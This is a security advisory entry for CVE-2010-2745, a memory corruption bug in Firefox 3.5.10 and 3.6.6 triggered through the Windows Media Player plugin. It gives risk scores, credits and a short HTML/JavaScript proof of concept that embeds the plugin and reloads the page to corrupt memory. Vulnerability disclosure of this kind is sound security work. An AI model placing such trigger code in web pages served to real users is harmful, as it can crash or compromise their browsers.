Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups

2010.10.15

Credit: SkyLined

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-2745

CWE: CWE-94

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

Source: http://code.google.com/p/skylined/issues/detail?id=21

# Exploit Title: Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups
# Date: 2010-10-13
# Author: berendjanwever
# Version: FF 3.5.10 & 3.6.6 with WMP 10 & 11
# Tested on: Windows XP sp3

<HTML>
  <HEAD>
    <SCRIPT>
      function go() {
        var oWMP = document.getElementById("WMP");
        if (oWMP) {
          location.reload();
        } else {
          var oWrapper = document.getElementById("wrapper");
          oWrapper.innerHTML = '<EMBED id="WMP" type="application/x-mplayer2" autostart=1 src="repro-firefox.html"></EMBED>';
          setTimeout(go, 1000);
        }
      }
    </SCRIPT>
  </HEAD>
  <BODY onload="go()">
    <SPAN id="wrapper"></SPAN>
  </BODY>
</HTML>

References:

http://www.microsoft.com/technet/security/Bulletin/MS10-082.mspx

See this note in RAW Version

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Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups

References:

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